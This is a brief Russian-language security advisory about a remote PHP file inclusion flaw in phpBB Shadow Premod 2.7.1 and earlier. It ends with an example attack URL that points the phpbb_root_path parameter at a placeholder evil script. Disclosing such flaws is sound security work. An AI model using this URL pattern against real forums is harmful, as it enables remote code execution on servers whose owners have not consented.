PHP-инклюдинг в phpBB Shadow Premod

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: phpBB Shadow Premod <= 2.7.1

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе.

Пример:

http://www.site.com/[path]/includes/functions_portal.php?phpbb_root_path=[Evi
l_Script]